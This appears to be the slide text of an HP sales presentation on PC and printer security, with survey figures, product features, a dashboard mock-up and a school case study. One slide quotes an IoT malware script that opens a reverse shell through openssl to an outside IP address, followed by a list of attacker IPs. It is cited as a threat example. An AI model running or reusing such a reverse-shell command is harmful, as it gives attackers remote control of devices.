Transform Endpoint Security with the World’s Most Secure PCs and Printers

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Market Development Manager
Jan 13, 2020
Get the world’s most secure PCs and Printers

HP PCs and Printers are engineered with hardened security features to protect and recover from cyberattacks before they become headlines.
Today’s printers act a whole lot like PCs

- Print infrastructure is now viewed as one of the top security risks by organizations*
Perceived Level of Security Risk

- **Printers**
  - Total: 30%
  - North America: 22%
  - EMEA: 35%
  - APAC: 33%

- **Desktops/Laptops**
  - Total: 71%
  - North America: 71%
  - EMEA: 75%
  - APAC: 68%

- **Mobile devices**
  - Total: 67%
  - North America: 68%
  - EMEA: 69%
  - APAC: 64%
MFP Security Vulnerabilities

1. Unclaimed output

2. Latent images on hard disk/ removable drive

3. Unauthorised access to print/scan/email or copy functions and device reconfiguration

4. Network Security Risk
IoT Devices (Printers, VOIP Phone, DVRs) are being used as entry points into the corporate networks.

```bash
#!/bin/sh

export [IOT Device] ="-qws-display :1 -nomouse"

echo 1|tee /tmp/.sh-c;sh-c (until (sh-c "openssls_client-quiet -host 167.114.153.55 -port 443 |while : ; do sh&& break; done| openssls_client-quiet -host 167.114.153.55 -port 443"); do (sleep 10 && cn=$((`cat /tmp/.c`+1)) && echo $cn|tee/tmp.c&& if [ $cn-ge30 ]; then (rm /tmp/.c;kill-f 'openssl'); fi);done)&
```

--end contents of file--

- 167.114.153.55, 94.237.37.28, 82.118.242.171, 31.220.61.251, 128.199.199.187

- [https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion](https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion)
Call to Action - Recommendations from Microsoft and OEMs

- IT Asset Management
- Custom security policy
- Anti-Malware / OS Security
- Patching
- Hardening, Secure Configuration
- Network security (802.1x, Internet Exposure etc)
- Reports (Audits, Compliance reports)
- 3rd Party contracts
Anti-malware technology in HP Printers / MFDs

- Monitors outbound network connections (packets)
- Detects anomalous network behavior
- Learns what’s normal, then inspects and stops suspicious packets
- User-defined DNS whitelist
- Monitors DNS activity to detect attempts to contact Command & Control server
- Triggers a reboot to initiate self-healing procedures without IT intervention
- Creates security events that can be integrated with a SIEM,
HP Printer / MFD Security Dashboard

Dashboard
Today 01 Mar 2016 | 10:05 AM

Fleet (200 Devices)

Assessment Status

Total: 200 Devices
- Passed: 76% (130)
- High Risk Failure: 1% (3)
- Medium Risk Failure: 9% (15)
- Low Risk Failure: 1% (2)
- Not Assessed: 15% (30)

Not Assessed Status

Total: 15% (30 of 200 Devices)
- Good: 16% (5)
- Error: 66% (20)
  - Connection Refused: X% (x)
  - Credentials Failed: X% (x)
  - Device Not Authorized: X% (x)
  - Device Not Supported: X% (x)
  - General Error: X% (x)
  - Hostname Resolution Error: X% (x)
  - License Required for Assessment: X% (x)
  - Network Connection Error: X% (x)
  - No Information: 16% (5)

Licensed: 200 Devices
Unlicensed: 0 Devices

License Information
Used: 200, Available: 1800, Days Remaining: 245
# UNIQUE HARDWARE - UNMATCHED PROTECTION

<table>
<thead>
<tr>
<th>HP SURE START¹</th>
<th>HP SURE RUN²</th>
<th>HP SURE RECOVER³</th>
<th>HP SURE CLICK⁴</th>
<th>HP SURE VIEW⁵</th>
</tr>
</thead>
<tbody>
<tr>
<td>The world's first SELF-HEALING BIOS Others can detect, but HP Sure Start can RECOVER!</td>
<td>Built-in HARDWARE-ENFORCED RUNTIME PERSISTENCE for your PC's key security processes</td>
<td>SECURE AND AUTOMATED RECOVERY on the world’s first and only PCs with a firmware-embedded self-healing system image²⁸</td>
<td>SECURE WEB BROWSING to protect against most common attack methods and attachment viewing</td>
<td>Protect against INTEGRATED PRIVACY SCREEN⁶</td>
</tr>
</tbody>
</table>

- BIOS Rootkits like LoJax
- Viruses that take down OS defenses like H1N1
- Wiper attacks like NotPetya
- Web-borne or Office malware like WannaCry
- Shoulder surfing and Visual Hacking

HARDWARE-ENFORCED RESILIENCE AGAINST…

- BIOS Rootkits like LoJax
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- Shoulder surfing and Visual Hacking
## HP Proactive Security plans

### DaaS Proactive Security features

<table>
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<tr>
<th>Real-time malware threat protection:</th>
<th>Standard Self-Managed</th>
<th>Enhanced HP-Managed</th>
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<tbody>
<tr>
<td>• Email attachment protection</td>
<td>√</td>
<td>√</td>
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<tr>
<td>• Phishing link protection</td>
<td></td>
<td></td>
</tr>
<tr>
<td>• Download protection</td>
<td></td>
<td></td>
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<tr>
<td>• Corporate website whitelisting support for IT</td>
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<tr>
<th>HP TechPulse reporting and analytics:</th>
<th>Standard Self-Managed</th>
<th>Enhanced HP-Managed</th>
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</thead>
<tbody>
<tr>
<td>• Protection status and gaps by time</td>
<td>√</td>
<td>√</td>
</tr>
<tr>
<td>• Most impacted users and devices by prevented threats</td>
<td></td>
<td></td>
</tr>
<tr>
<td>• Threats by type and source (summary/details), and over time</td>
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<th>HP-managed service:</th>
<th>Standard Self-Managed</th>
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<tr>
<td>• Analysis of threats by Service Experts⁴</td>
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<td>√</td>
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<tr>
<td>• Detailed, malware kill chain analysis²⁷</td>
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<tr>
<td>• Enforcement of isolation protection on endpoints</td>
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Purchasers of HP DaaS Proactive Security¹ in the U.S receive the Aon CyQu self-assessment and security score. $0 retainer and one-hour consultation included with optional incident response services from Aon. HP onboarding service representatives will provide instructions.
Case Study

Sydney TAFE closes security gaps across 1,000 – strong print estate

Challenge

With printers/MFPs becoming increasingly connected to the network, there are risks to students’ personal information and confidential staff information being leaked.

The Australian Department of Defense identified printers and MFPs as a potential source of cybersecurity incidents.

Solution

HP delivered a Print Security Advisory Service. A three-day risk assessment.

The workshop helps discover security blind spots and inefficiencies across Sydney TAFE’s printing and imaging fleet.

The workshop educated key stakeholders on threats and helping Sydney TAFE reach consensus on the goals of a new printing security strategy.
Key Take Away

HP Secure Print Analysis

Are your printers easy prey?
Answer a few quick questions to find out how your print security rates. Then see what you can do to bite back at hackers like The Wolf.

Get your rating and a personalized checklist

Your personalized security rating
See how your organization’s security policies compare with 167 Asia Pacific IT Managers from our 2018 survey conducted by Spiceworks.

Your checklist
Policy recommendations are based on the NIST cybersecurity framework for devices like printers in order to prevent, detect and respond to cyber attacks.

Status of the industry
Get a copy of the whitepaper ‘Printer Security, The New IT Imperative’ based on the survey of 500 IT Managers conducted by Spiceworks in May 2018.

1Includes device, data and document security capabilities by leading managed print service providers. Based on HP review of 2015-2016 publicly available information on security services, security and management software and device embedded security features of their competitive in-class printers. For more information visit: www.hp.com/go/MPSsecurityclaims or www.hp.com/go/mps.
Should you have any further Questions, please feel free to Contact:

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THANK YOU